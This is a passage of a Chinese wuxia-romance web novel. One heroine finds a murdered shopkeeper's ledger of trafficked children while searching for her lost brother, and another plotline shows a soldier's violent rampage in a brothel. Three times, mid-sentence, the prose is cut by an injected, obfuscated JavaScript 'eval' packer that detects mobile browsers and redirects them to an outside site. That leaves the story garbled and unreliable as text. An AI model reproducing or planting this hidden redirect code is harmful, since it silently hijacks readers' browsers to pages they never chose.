“对对对,就是他!”陆随心点头附和。 可越说,林叔的眉却皱越紧,“到底是哪个啊?” “啧。”林婶翻出了眼白,手在身上拍了两下,面粉扬起了一阵白风,“他头一次来的时候,还问镇上卖木头玩意的店怎么走,你给他指了,结果人家去了又回来了,说不是卖木材的,问的是卖那些手工玩意儿,八卦锁啥的,就……就那家木铭轩嘛,闹了个大笑话!” 白日轰雷。 陆随心方才被冻住的手脚彻底碎了,裂成一块一块掉到地上,“他……他问这个了?” 那一年他还小,陆随心本以为他可能不记得当时发生的事,现在终于知道自己错得离谱。 他问来作甚?故地重游,难道是为记起她的所作所为好恨她? 是啊,他恨她才是应该的。 “哦哦!他啊,我想起来了!”林叔一拍自己大腿,笑得胡子都飞起来了,“他这几年也时常来,每次出远门,或者从外头回来都会来买两个我们家的饼,我和我老伴还猜他是那里的人呢。” “那里?是哪里?” “姑娘你真会说笑,你自己朋友哪儿人你不知道啊。”林叔挤着眼,低下头凑近了几分,“你给我们说说,他是不是真的是那儿出来的人?” “那儿?是哪儿?” 林婶又从后面拍了他一下,“又胡说了。” “你不是也那么说过么。”林叔回头横了她一眼,才继续看向陆随心,见她一脸莫名似乎真的什么都不知道,起了讲故事的兴致,“就是那个,我们这西边不是有好多山,有个叫九曲岭的地方,挺邪门,说是啊,很多年前,有人路过,大晚上看见一个小孩子的身影,那里荒郊野岭的,怎么会有孩子出没呢,估计是不小心走丢或者被爹娘丢那里了,那人也挺热心,第二天白天叫了几个壮汉一起去找那孩子,结果你猜怎么着?” 林叔说到这儿便停了,陆随心看他瞪大了眼盯着自己,觉着这故事神神叨叨的,比她看的话本还话本,该是和阿柒扯不上关系,却耐不住林叔期盼的眼神,只好接了一句,“……怎、怎么着了?” “他们是带着两条狗去的,生怕孩子是在山里走丢有什么危险,得赶紧把人救出来才行,结果,别说是人影了,连只野兔子都没看见,搜了快一整天,啥也没有,可就在他们准备折回的时候……”林叔压着声音拖长了语调,看到陆随心也开始不眨眼的盯着自己,赫然抖出一句,“那狗忽然叫起来了!” “行了!你别吓人家姑娘了!”林婶大喊一声。 陆随心一时已经忘了他们是从什么聊到此处,只是听着听着也被这传闻勾起兴致,便道,“放心,阿嫂,我胆大得很!快跟我说说吧,那狗是看见什么了?” 林叔翘着胡子,对自家娘子指了指陆随心,“看看,人家姑娘说她不怕。” 林婶努了努嘴,“行行行,你说说说!” “这狗不是看见了什么,而是闻见了……” “诶,林叔,来两个糖饼。”忽然一个人走上来,打断了他。 林叔说书的瘾没过,看也不看来人,瘪着嘴推自家娘子,“你给他包!你给他包!” 林婶叹了口气,向来人招呼,“老头子犯浑,在这给人姑娘讲九曲岭的事呢。” 那人付了钱,从林婶手里接过饼,走前留下一句,“林叔你可真有意思,也不怕晚上做噩梦。” 林叔压根儿没听到,一门心思地继续讲,“他们搜到一片密林附近的时候,其中一条狗忽然疯狂地叫了起来,逮着一块地绕起圈来,不肯走了。那伙人大白天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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把笑全吞进肚子里,陆随心才挥着手,为阿柒辩解,“我对他虽了解不多,但他……应该是个人。” “嘿嘿,是人是人,我也就是这么一说,讲故事嘛,随便听听。”林叔抓了抓后脑,笑呵呵的,“谁叫他老一身黑,看着不是有点那意思嘛。” 这故事林叔讲得精彩,可陆随心在永京时可从未听过,也不知是那时候还未编出来,还是竟不小心没传到她耳朵里。 且这听着听着,陆随心不知怎么竟有点想去那九曲岭瞧一瞧,察觉自己有些偏了心思,忙回问,“老板,我那朋友最后一次来你这儿,你还记得是什么时候不?” “那不记得咯。”林叔眯眼摇了摇头,“怎么了?你是来此地找他的啊?” 陆随心点了点头,“有点误会,想和他说说清楚。如果他下次来,你帮我告诉他一声,就说我在找他好不好?” 林叔拍了拍胸脯,“那自然没问题!只是还不知姑娘名讳,还有,若他来,我叫他去何处找你啊?” 陆随心刚要把“柳宅旧址”脱口而出,想起自己是个才来的外乡人,“啊,那便让他来镇上的客栈找我吧,就说找陆随心。” “哪一间呢?东边的还是西边的?” 这倒把她问住了,她还真不知晓永京有哪些个客栈,就随手指了一个,“东边的。” “诶,东边,那就是有风客栈?”林叔回过头去问自己妻子。 林婶正从面团上取下一个个小剂子,“对,有风客栈,不就是木铭轩对面那条街上嘛。” 又是木铭轩。 陆随心本不愿再去那个地方,可有时候,就跟话本里说的那样,天要你去,你便不得不去。 41. 随心(六下) 一旦住进了对面的客栈,一开窗就能看到那黑黢黢的门面,半开的门,半人高的柜台,半张模糊的脸,就好像地狱的门又打开了。 黑暗的地方总有致命的吸引力,晦暗不明地诱惑着人踩进去。 陆随心踩进去过。 当时她的双脚被深深黏在了木铭轩门口许久许久,就像十二年后的今天一样。 一门之隔,门外日清风朗,门内阴气沉沉。 那一日,身旁的柳三钱牵着她的手问,“阿姊,为何又来这里了?” 她记得自己害怕地叫了一声,“你还记得这里?” 柳三钱点了点头,“记得。” 她想跑,立刻撒腿就跑,带着柳三钱或者独自一人,只要跑,离开这里就好。 可天不给这机会。 半掩的门又往里多拉出几寸门缝,瘦如细猴的老板探出头来,在他们两人身后找,“你们爹娘呢?” 她记得自己摇了摇头,“就我,和我弟。” “阿姊,我们回家吧。”三钱拉着她的手,使劲地晃了晃。 可她却被眼前的黑迷住了,转过头去骗他,“三钱,你记得不,里头有好多木头玩意儿,阿姊只是想买个八卦锁给你玩。” 她不愿再想起三钱的那双眼,因为只要想起那双眼,就想起当时的他信了自己,怎么会,他就信了她说的鬼话。 他又怎么会不信呢。 这世上,他最相信的,他唯一相信的,就是她,只有她。 老板似乎认出了她,也听明白了她的意思,往后退了一步,“行了,那进来吧。” 陆随心不愿回忆了,她静静地看着那道门缝,再不愿回忆十二年前那一日的分毫。 里头传来对话的声音,恰好把她从黑暗中暂且拔了出来。 “老板,我现下还缺几个苗子,今年人数有些不够。” “你们那地方,在我们这行当都出了名了,好些爹娘钱都不要也要把娃送你们那儿去,就这样,你们还缺人?” “真的缺。” “你找别人吧。” “哦?这是什么意思?” “不干了,不干了,我现在不干这生意咯。” “去年你还不是这么说的。” “今年开始不干了。” “我要的不多,三个就够。” “几个都多,一个都没有,真的不干了。” “钱数,我们好商量。” “不是钱的事。” “那是为何?” “……” “你我合作多年,一向愉快,你突然不干了,我总要问问的。” “对面新起了家客栈,这条街如今不静了,人多眼杂,迟早坏事。” “不,不是这个。” “怎么不是?” “光从我这挣的钱就够你换门面了,想换哪里换哪里。” “……对,确实不是因为这个。” “那是为了什么?” “……不想再作孽了。” “哈,老板这是学会说笑了。” “不是说笑,和你说真的你又不信。” “真为这个?” “真为这个,年岁大了,该积些德了。” “那还守在这里做什么?不回家去?” “……家,没了,没了,这就是家。” “真的从此以后都不干了?” “再也不干了。” “确定?” “确定。” “不后悔?” “不后悔。” “若是如此,有件东西,你得给我。” “什么?” 那个同老板说话的人声音很是欢快,好像在讨什么全然不紧要的事物,可听到此处的陆随心却已屏住呼吸许久,她紧着身子捂住胸口,半步半步地往街对面的客栈退回去。 几个月数次在生死边缘踩过 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那团花白忽然向自己的方向转了起来,陆随心想也没想,立刻委身蹲下,靠着墙壁的遮掩躲过对方的视线。 但她不知道的是,这一整排客栈的窗户,要么大大方方地全开,要么严严实实地紧闭,唯有她头上这一扇,就支开了这么一道小缝,嵌在其中,着实有些扎眼。 陆随心蹲着默默念了两百个数,才敢扒着窗棂探出一双眼去看对面,木铭轩的门依旧闭着,头发灰白的男人却已经不见了。 她握住了自己的左手,那儿滚烫的脉搏又一次疯狂跳动起来。 她看得见,木铭轩的门没锁,一推就能开,一开就能进。 可问题是,她要去吗?她该去吗?她想去吗? 木铭轩的老板会不会还活着? 那个男人真的走远了吗? 陆随心乱成一团。 42. 顾瑶(六) 一屋子的人都静默了。 还是当家的凤小舞率先反应过来,吞了口气笑脸迎了上去,“这大白天的,军爷是要来我藏香阁寻谁呀?” 莫楚瑛与顾瑶对视一眼,趁机握了她的手,将人拉到自己身后,并给了富林一个眼色。 富林得了指令,立马安下神来。 “我们在找定国来的出云使夫妇。”前头的军爷回道。 这回轮到凤小舞“戛然而止”了!前脚刚发现店里来的是出云使夫妇,后脚就有军爷带着个公公上门来找人,福兮祸兮? 更要命的是,她该站哪头? 是站出来指认他们还是装作什么都不知道? “军爷,这店里没有我家主子啊。”富林抬起头又细细看了一圈,一点没在自家主子身上停留。 “那不……”老达刚要开口,凤小舞就狠狠踩在了他脚背上,横了他一眼。 那满面恣须的军爷生得一副又浓又粗的眉毛,煞是凶悍,转头就看向凤小舞处,“这人要说什么?” 老达低眉垂头,一句不敢说了。 凤小舞笑着打哈哈,“他这人就爱碎嘴子乱接话,军爷不必在意。” 胡须军爷看完这边,又看向那边,在莫楚瑛和半个顾瑶身上来回打量,问身后的富林,“公公,你可再好好看看,这店里,真的没有你家主子?” “军爷可真是说笑了。”富林摊开手掌划了一圈,“这里一共就四个人,咱家还能认不出主子不成。” 这胡须汉却不肯罢休,顶着盔甲往莫楚瑛走去。 “哎哟,军爷!”凤小舞叫住了他,舞着团扇陪笑,“您进来前没看咱的招牌吧,这里是老爷们来享乐的地方,出云使总不能带着我们安平公主来青楼快活吧?那成何体统!” 说完这一段,凤小舞才想起这是一不小心已经站了队。 她哪晓得哪边对哪边错哪边胜算大? 可既进了她的店成了她的客,她总归就要帮的不是。 做生意的总没有去害客的道理。 凤小舞这话听起来是很有几分道理,却还是打不消这胡须大汉的疑心,举着矛一路走过去,就差没把武器指在莫楚瑛的眉心,“那这两位不知是从哪里来的啊?大白天的怎么出现在勾栏院里?” “我们是……” “哎哟,误会了,误会了。”凤小舞走过去挡在中间,“这二位是我的贵客,来同我谈生意的,我们藏香阁想着要多盘一处地方,把生意再做大些。那我们这行,可不就是只有白天有空。” “我没问你!”胡须军爷一声怒斥,就把凤小舞推到了一边去,“我是在问他们!他们是没嘴巴啊还是不会说话啊?!” 他手上的力道一点不收,在凤小舞身上如有千钧之力,根本接不住,直接脚下一踉跄,摔到了旁边的椅子上,椅子一晃,人又跟着一起跌了下去,头恰好在桌角狠磕一记,疼出一声凄厉的惨叫。 “叫什么叫!又不是在床上艹你,还真是个贱妓。” 这人做事不成样子,说话还委实难听。 顾瑶有些忍不住了,不想那边的老达脸“嗡”一下胀得通红,攥紧了拳头就往军爷冲去,凤小舞睁开半只眼见到这场景,惨叫刚歇,惊叫就跟上了,“啊啊啊啊——别别别别——” 老达已血气灌顶,浑然听不见。 凤小舞只好伸出腿去拦他。 “啪——” 本是要冲着军爷一展满腔怒火的老达匍匐在地,摔了个“狗啃泥”不算,还恰好把自己的脑袋跌到了军爷脚边,惹得那魁梧大汉哈哈笑,笑得前仰后合,“竖子免礼,免礼,爷爷我可没吉祥钱赏你!” 顾瑶扼制住胸口的闷气,这会儿已经从莫楚瑛身后走到凤小舞身边,将她扶到椅子上坐下,探了探她的后脑,摸到一块肿起,确定人没有大碍,“是撞淤血了,这几日好好休息,涂些跌打药膏。” 凤小舞龇着嘴点了点头,“老达,可摔疼了?还不快起来,给军爷道声歉。” 凤小舞不是没听见那句话,再难听再下流的她都听过,而且她确实就是做这行的,这点也没说错,再说了,被讲那么两句又不会少块肉,她是不怕的,但做错了事得罪错了人却是真的会。 叫老达为了自己折下去,她觉得不值当。 老达撑着地爬了起来,一抬头,嘴里流出一点血,大概是磕到牙了,声音闷闷的,还带着股恨恨的狠意,“我不道歉!他欺负你。” “欺负什么了?又不是真扒她衣服了!等会儿我再和你们算这账,让你这痴傻小子好好瞧瞧什么叫‘真欺负’!” 听到这句,老达不说话了,只是看了看在那儿扶着脑袋满脸疼不可耐的凤小舞,眼变深了。 胡须汉又把手指着莫楚瑛,“先把你们这事解决了,我再问一遍,你们二位到底是谁?” 莫楚瑛本来脸上还舒缓和气,此时也挂了冰柱子似的寒气逼人,“方才凤娘不是已经说过一遍了,你是耳朵不好还是脑子不好?” 顾瑶一听,心中一惊,身体不自觉往他那儿又靠了回去。 太难得见他这样说话,想来也是真生气了。 “奶奶的!敢这么和你军爷爷说话?!”胡须汉把长矛往地上重重一杵,就要耍起枪来。 身后的富林急急冲上来,“军爷,不是要找我家主子吗?再拖下去日头该黑了,还是早些行动吧。” 人的气性一上来,就不能劝,一劝,好比往烧得旺的柴火浇油一样,那火苗往往会蹿得更高更猛。 “公公,叫你来,只是要你来认脸的!怎么找、去哪里找、什么时候找,那都是我说了算,你可明白?”军爷的胡须飞起,眼瞪得老大。 “咱家也是怕耽误了,您向上不好交代呀。”富林拱着手又好言劝了一句,悄悄望向他后边的主子。 “我还要你这定国的阉奴来多管闲事!” 又是一掌重推,富林也趔趄着屁股着地摔了下去,掩着面叫,“哎哟,打人了,打人了。” 门口负责把守的那位兵卒本就背对着他们,这会儿好像把耳朵关得更牢了,竟把门关了起来,自己待外边去了。 “打人?你想试试是吧?好,我今天就让你这腌臜货瞧瞧什么才叫真正的打人。”胡须汉竟把长矛丢到地上,扭了扭手腕,就往富林身上骑去。 “住手!”莫楚瑛喊了一声。 一手已经拎住了富林衣领的胡须汉转过头来,“你也想挨打?在那儿等等,爷爷我一个一个教训过来。” “你打出云使的公公,倒是想没想过,你这点斤两,受不受得了这后果?别说你了……”莫楚瑛走上前两步,眉头微锁,带了三分威胁,“你的主子宗同伦,他受不受得了这后果?” 听到“宗同伦”三个字,这胡须汉却有些慌了,手一松就把富林扔到了地上,从地上爬起来指着莫楚瑛结巴,“你……你到底是谁?” 莫楚瑛却不理他,回身看着妻子,柔声道,“阿瑶,你不是说我们躲不过嘛,既然迟早要入这个局,不妨就是现在。” 顾瑶一愣,握住他伸过来的手,坚定地点了点头,“好。” 胡须汉其实是信了凤小舞说的话的。 在“宗同伦”三个字被说出来之前,他觉得一个青楼的老鸨和一个残缺的公公都不会有这个胆量来骗自己,这俩人必然不是出云使夫妇。毕竟,他是谁?他是跟随宗同伦入主都城的沂山军的一员!整个云国很快就都是他们的了!谁敢和他手里的长矛作对? 他不过是提前享受下矗立巅峰的滋味。 可听到“宗同伦”三个字后,他有些怕了,怕惹到了不该惹的人,可这怕却只停留了一下,在他看到这两位径自在面前说起悄悄话,全然不把他放在眼里的时候,他就不怕了。 门已经关起来了,他怕什么? 在这里,就算这人是长庆王顾衡之,也奈何不了自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035828|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !若能诛杀之,还是他立了了不得的大功呢。 他怕什么? 就算他们真的是自己奉命在找的出云使夫妇,这公公既然没承认,那他们就不是。 他怕什么! 胡须汉一声冷笑,“我管你是谁,今日我就让你瞧瞧,你爷爷我到底受不受得了这后果!” 说罢捡起地上的长枪,回身一举刺了过去! “啊——” “王爷救命!” 虽说拳头也不是打不死人,可毕竟赤手肉搏与舞刀弄枪不可同日而语。 那样尖利的长矛往身上一戳,就是奔着见血去的,一旦力道重些,就是夺命的把戏。 不怪乎大堂里的几个人都惊呼四起,矛下的富林更是双手交叉挡在脸上叫起救命。 胡须汉刺出去的那一瞬,心中倒是忽然冷静下来了——若真闹出命,到底是有些难办!上头再三叮嘱,进城以后,莫起大冲突,莫行胡闹事!这到底是个定国人,还是出云使的亲信,真伤了,怕是不好交待。 可已经刺出去的矛,和离了弦的箭也差不多,怎么收?收回来他的脸面又该如何收场? 所以他不能收。 他用上了几乎所有的力气,把矛刺向了眼前的人。 余光里有什么一闪而过,那矛就在距离富林胸膛几寸的地方忽然偏了方向,落到了地上,一看,一只干净的绣花白靴紧紧踩在上头。 胡须汉觉得自己一下巴的毛都在隐隐发痒,他试着抽动长矛,长矛纹丝不动,目光只好顺着那靴子一路爬上去,竟看见一张冷峻锋利的女子脸庞,那满嘴胡须霎时更痒了!挠了挠,才张开嘴语无伦次地喊,“你……你……你竟敢踩我的矛!” 顾瑶另一只靴子也踩了上去,一用内劲,矛就从对面手上震了出去,“啪”一声落了地,“你身为云国士兵,首要职责便是护国卫民,如今却在此蓄意无故伤人,按军律,当斩!” 胡须汉跌坐在地,一脸讷讷,脸胀得通红,张了张嘴,好半天才喊出一句,“你……他……他又不是云国人!” “你这一矛下去,坏了两国邦交,斩立决都不足以赎你的罪!” 当着这么多人的面被一个妇人训斥,胡须汉觉得自己满脸的奇痒难耐,攥紧拳头对着她挥了过去,“那也轮不到你来审我判我!” 顾瑶脚上一挑,矛不知怎么就从地上弹了起来,被她抓了个正着,长枪旋着花甩了出去,打得胡须汉无力招架,那锋利的矛峰“唰”一下略过他的下巴,地上飘落了几撮卷曲的黑胡须。 胡须汉捂着自己的下巴,一双眼血红,“你竟将我的胡须弄断了!” 莫楚瑛见这人有狗急跳墙之态,连忙朝富林喊,“快去,把大门打开!” “今天谁也别想走!”胡须汉仗着盔甲在身,不惜把后背露给顾瑶,转头去追富林。 富林刚从地上爬起来,他未跟随进大北县城,没见过王妃曾一人单挑一队的英姿,不知她身手水平,只知道她一人之躯挡在自己面前和那凶狠之人对峙,心中难抑感激涕零与恐惧害怕之情,一时没听到王爷的命令,步子便没及时迈开,人被那胡须汉抓了个正着。 顾瑶想起桑凌被挟持时的样子,一时犹疑矛没刺过去,手就松了几分,忽然有人冲到自己身旁,那力道堪堪擦过她的身子,手便轻了,长枪被抢了过去。 “诶……” 顾瑶想阻止的心一闪而过。 那一刹她想了无数个方案,最后觉得任其发生是最好的法子。 无论富林是否真的受伤,这件事只有在门内解决,才能好好息事宁人。 一旦出了门,就有可能成为引子。 而引子,往往能牵出一连串的麻烦。 一个着了,一片就爆了。 所以顾瑶没有动,等凤小舞凄厉的叫声响彻藏香阁的大堂时,那矛已经从后背刺进了胡须汉的身体。 “老达啊——” 43. 随心(七) 陆随心决定,要去。 私心里她也曾恨过那个老板,恨他开了这店,恨他不曾阻止自己,恨他一言不发默许了她把柳三钱丢下,恨他不肯把三钱还回来。 可若真没有他,一开始她也没法儿遇见三钱。 她总不能放任他在那黑屋子里垂死挣扎。 把窗关上后,陆随心低头看了看自己那已然结痂的指尖,再没见新的薄盖生出来,那里长成了一个永恒的丑陋的肉坑,黑乎乎的,崎岖不堪,像身上有一点完整的东西永远离开了。 她有些难受,可那劲儿很快就被和那一日同样充盈的不顾一切给破开了,趁着血热,她照原路推门下楼,再次没理会店家的招呼,径直往对门的木铭轩而去。 门是轻轻掩上的,果然一推就开。 屋里头只有一扇小窗透进来几许亮光,像极了她在定国边境待的那座昏暗的地牢。 一人半高的柜台上放着各式各样的八卦锁、木雕玩偶,摆法颇为郑重其事,两个之间隔了老远,不似货品,倒像是老板的藏品陈列。 时年二十二岁的陆随心终于看出了些门道。 这哪是卖木头玩物的?这摆明了就是障眼法。 也就当年六七岁的自己,仗着看得懂几个字,推门进来就一声赞叹,“哇,不愧是’木铭轩’,这些雕木小物都好是漂亮啊。” 吓坏了老板,也吓坏了那对满面泥泞衣衫褴褛的夫妇。 如今的陆随心自然不会再去欣赏那些东西,也无心缅怀罪恶的过往,而是急急去对面柜台搜寻老板也许尚存一息的身影。 人很快就找到了。 就躺在柜台后边的地上,手垂在身体两侧,双腿打着弯,如果不是看到他的脑袋已经被整个折向了 他的后背,陆随心定是要上去探探他的鼻息把把他的脉的——虽说这事她并不在行。 脖颈上还留着凶手的指印,五个,非常清晰。 一个能徒手把脖子拗断的人。 陆随心暗骂着有些慌乱的自己,也是见过不少大风大浪的人了,这连着身子的脑袋还能比滚在地上的可怕吗?这已经死去的尸体还能比拿着刀翘她甲肉的活人可怕吗? 壮着胆多看了几眼,就不小心看多了。 老板的拳头攥得紧,食指拇指交扣的地方露出一截木棍似的东西。 陆随心想走,心底的声音在大叫,“快走!别管了!人都死了!快走!别又惹了一堆破事!”又一个声音在喊,“怎么能走?就在眼前了!万一能找到三钱的下落呢!” 脚已经迈了回去,老板梆硬的手指被她用力扒开,在那里挖出了一枚钥匙。 钥匙,往往是用来打开门的,可死人手里的钥匙,却往往能打开秘密。 她逡巡了一圈,没在周围见到什么有锁的东西,就往对着大门的一间里屋去了,里头平平无奇,只有两个柜子,一个又粗又大,简直能把外面的桌椅木雕统统塞进去。 陆随心打开,发现一块被半掀开的大破布,遮着一座结结实实的旧笼子,一围粗的木桩子做的,缝隙只够塞进一个半的拳头,高度只到她下巴,里头摆了个小板凳,看起来脏兮兮的。笼子的门上绑着铁链,但锁已经打开,落了灰,看起来许久不用了。 这难道就是……他关孩子的地方? 这柜子拿来装东西是大,拿来装人却小得逼仄了。 三钱也在这里待过吗? 不,不,老板说,三钱当天就被送走了…… 陆随心看着眼前的笼子,心上漠然,想要再恨那老板又觉得浑身麻木,好像,她不愿去想那个可能性。 她迅速把门合上,又去看大柜子旁边的薄柜子,打开是一堆杂物,好多没成型的木雕,一刀未动的木块,还有各式工具,看起来老板倒真是喜爱这些木头玩意儿。 柜子的最上层现出一把锁来。 陆随心这会儿恨起自己腿短,张望了一圈把小板凳搬来,踩了上去,果然看到了一个老匣子。 把匣子放到地上,钥匙一对进孔里,“咔嚓”一声,真开了! 像是旁观者对她窥探死人遗物的行为喟叹一般,外边竟忽然传来一声“吱嘎”怪叫。 陆随心抱着匣子,在地上蹲成了一座木雕,连同鼻子也不敢再往外出气。 脑袋都折到后背去的人,总不能又突然活过来吧? 那必然是门开了。 这一日无风无雨,门总不能自己开了吧? 那必然是有人进来了。 她望着唯一那个连着外头的出口,发现自己成了被困在瓮中的鳖。 若是那凶手折回来,她今日必定交待在此了。 死都要死了,总归不能冷落了千辛万苦拿到手的秘密。 陆随心一咬牙,悄摸摸地把盖子掀开,看到里头躺着一本账册,拿出来一翻,将死的恐惧竟全被压了下去,对眼前之物的胆战心惊霎时占了上风。 从成惠二十一年到长庆十一年。 整整十五个年头。 姓名、岁数、哪里来、哪里去、几钱进、几钱出。 几十个孩子的人名。 这哪是账本,明明是活生生的一条条人命,是老板自己写就的罪孽之书。 外头的脚步声很轻,是故意收着步子在走,可陆随心不知怎么,好似身上灵脉被打通了,耳朵竟能听出那悄没声息的人的远近来。 还来得及! 她拼命翻着账本,想在生命的最后一刻,看到三钱的去向,那一日分别后,他究竟去了哪儿。 十二年前弄丢了他,今日终于能把这断了的线重新系上。 三钱、三钱、三钱……你当年到底去了哪儿? 大概这样,自己死的时候便能够瞑目吧,否则没命了还要睁着眼,怪不好的。 翻、翻、翻…… 就是这儿!成惠二十四年! 可那脚步也已经踩到门口了。 陆随心看了一眼门,纹丝未动,便又低下头来。 “柳三钱。七岁。永京柳家小儿。” 就是这儿!这就是三钱的踪迹! 陆随心缩在角落捧着账本迫不及待地往下读。 “吱——”眼前的门被推开了。 她抬头去看那道新出的缝隙,黑漆漆的什么也没有。只有扣在门边上的四根手指,粗壮且齐整如一排兵刃,让她想起了老板脖子里的指印。只要这人一用力,脖子能断,门也能死无全尸。 可她能死而无憾吗? 若不能见上三钱最后一面,该是很难自愿喝下那孟婆汤的吧。 “吱嘎——” 陆随心耳朵一动,头也猛地抬了起来,门边上的四根手指往下一滑便退了回去。 是外头又来人了?! “你怎么来了?”这声音?果真就是杀死老板的那个灰白头的男人! “找老板问点事。” 陆随心把账本拍进了自己怀里,眼前的门、柜子都模糊起来,她才发现身子在抖。 这刚进门之人的声音她已许久许久没听到。 但一听就觉得熟悉。 钻进耳朵里,熨帖了她将死的心。 “呵,找他问什么?” “柳盼儿的下落。” 陆随心身子一跳。 “现下想起来要完成这任务了?” “是。” “来晚了,已经死了。” “你杀的?” “我杀的。” “那看来我得寻其他门路了。” “他们说你伤都没养两天就走了。” “是。” “怎么,这么急?怕被赤霄捷足先登?”那人笑了笑,“不过他前阵子还传来消息,说路过大北县,顺手杀了那个叛乱的于四光。” “我知道。” “你小子,消息倒是挺灵通。药按时取了吗?” “这一趟走得急,没取。” “那有空就回一趟吧。过阵子可能有件大事要交给你去办。” “是,教头。” 教头?! 陆随心胸口像有一池饿极了的鱼在用命扑腾,她赶紧把那账本又打开,找到了方才那一页。 “成惠二十四年七月廿二。柳三钱。七岁。永京柳家小儿。同年八月初六交予九曲岭无影剑教头。得银一百两。” 九曲岭?果真是他! 无影剑教头? 此教头就是彼教头?! “我走了,你看看他有没有留下什么线索,清清干净,回头我再叫人来收拾尸体。” “是。” 教头的脚步声走远了。 陆随心却不敢站起来,一是忽然之间听了太多知道了太多心乱如麻,二是蹲久了双腿全麻毫无知觉,动不了了。 另一个脚步声往她这儿走来。 这一次门被推开的时候,门沿上换成了四根苍白的手指,还有一句温声细语的“姑娘,你在里面吗?” 陆随心想开口说“在”,一张嘴却哭了。 她不仅没死,还重又见到了他,怎么能不哭,恨不得把十几年没流过的泪全哭出去。 她一哭,站在眼前的人就不知要把自己的手脚往哪儿放了,踟躇了半晌憋出一句,“姑娘,还是不愿见到我吗?” 陆随心想骂他是个二楞傻子,又不忍心,见阿柒竟转身要走,一狠心,从地上拔起来扑过去抱住了他,两只脚霎时如万蚁啃噬、万针齐扎,害得她在人家怀里扭动起来,“等、等等。等等。嘶——我、我腿麻了,脚、脚也麻了。” 话刚说完,她身子一轻,人就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047541|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腾空而起,下一瞬,屁股就被放到了那木凳子上,一双手抓起她的小腿,揉捏了起来,“怎么样,姑娘,有没有好些?” 陆随心根本顾不上这些,只看着他乌黑的头顶,想起小时候要三钱顶着自己去摘树上的果子,三钱颤悠悠把自己举在肩上的样子,哭着笑了。 他却不懂这意思,抬起头来问,“这是……好些了,还是没好?” 陆随心赶紧点了点头,想叫他,却不知该怎么称呼,只好说些别的,徐徐图之,“我方才听你在外头说,你在找柳盼儿?” “是。”他将她另一条腿抓起来,放在掌心里柔,“我和姑娘说过,不要回云国来,会有危险。” “为什么?”陆随心看着被他握住的自己的腿,身体里窜出一种莫名的异样感,“因为你……还有那个赤霄,都在找柳盼儿?” “是。” 他倒还是有问必答。 既如此,她也不愿绕得太远,“你也知道,我就是柳盼儿?” “知道。” 他当然知道,他就是柳三钱,他怎么能不知道她是柳盼儿?他们那几年一起吃、一起玩、一起爬树、一起挨揍,就算分开了十二年,怎么能认不出对方? 怎么能? 那股异样似乎越来越汹涌。 真的吗?她真的就这样轻而易举把三钱找回来了吗? “你是什么时候知道的?”陆随心又问。 他手上的动作忽然停了,顿了一下,才接着道,“四年前。” 四年前?! 陆随心想起那一年开始无故出现在院子里的银两,喉咙梗得生疼,“你,就是你……往我家院子里 扔的钱?” 她就说那守香怎么能起这般妙的作用?福圣王哪能顾得过来一个国家的人!原来竟是他! “是。” 陆随心腹中卷起一簇怒火,把腿抽了回来,脸怼到了他面前,发现他整张脸毫无血色,可那咬牙切齿的问已经收不住了,“四年了,你来来回回路过我家这么多次,竟从没想过要与我相认?” “相认?我……从未想过这事。” 从未想过? 这倒是将她说懵了,陆随心在他脸上细细地来回揣摩,看他脸色苍白,却一脸无辜,看不出半点说谎的迹象,腹部的那团火又沉下去,坠入了暗中,“你……你到底是谁?” “姑娘……怎么忽然不认得我了?”他说着就伸手要去探她的脑袋。 这是要说她脑袋烧坏了吗?陆随心那团刚下去的火又烧了上来,“我当然认得你!我问的是……你是谁?我问的是你为什么要给我送钱?为什么要保护我?为什么要替我揉腿还把我从那教头手里救下来?” 这下他总算听明白了。 听明白以后他就不说话了。 这阵沉默持续了很久,久到陆随心想要破口大骂“我已经知道你就是柳三钱了”的时候,他终于说话了,“你记得十二年前在这家店发生的事吗?” 记得,当然记得,就方才她还在这追忆那段黑暗过往呢,她想起自己把三钱扔下后,走出去半条街就折了回来,老板却不让她进门了。 她在外头又哭又喊,求老板把她弟弟还回来,那老板却说,“小姐,人一旦离了柜台,这买卖就算成了,是不可以反悔的。” 她说,“我一分钱也没拿,这买卖就不算,你快把我弟弟还给我。” 老板不肯,抓了她的手把她往外推,“快回家去吧,你弟弟已经被送走了。” 她那时又急又慌,根本没想也知道这是显而易见的谎话,就继续哭着求,“我可以给你钱!我回家找我爹要钱,你要多少我爹都会给的!” “已经不是钱的事了,小姐。你赶紧走吧。” 她那时才十岁,纵使那老板瘦成了竿,要把她拒之门外也还是易如反掌的事。 当年的她什么也不懂,真的以为这里头只是钱的事而已,却不知道人头的买卖也是买卖,买卖人头的老板也讲原则和信用。 “货”既售出,概不反悔。 哪怕她分文未取。 江湖上的规矩就是规矩,不讲人心。 “你……你也还记得?”她泪眼婆娑地低着头,想抬眼看他,却怕看到他点头。 她想好了,无论记不记得,都要先同他道歉,站着说坐着说跪着说,再好好弥补他,给他吃给他喝给他穿,还有那个赤霄和教头,别管无影剑是什么东西,她一定要想办法叫他再不用给那地方卖命。 可没有回音。 “……阿柒?……三钱?” 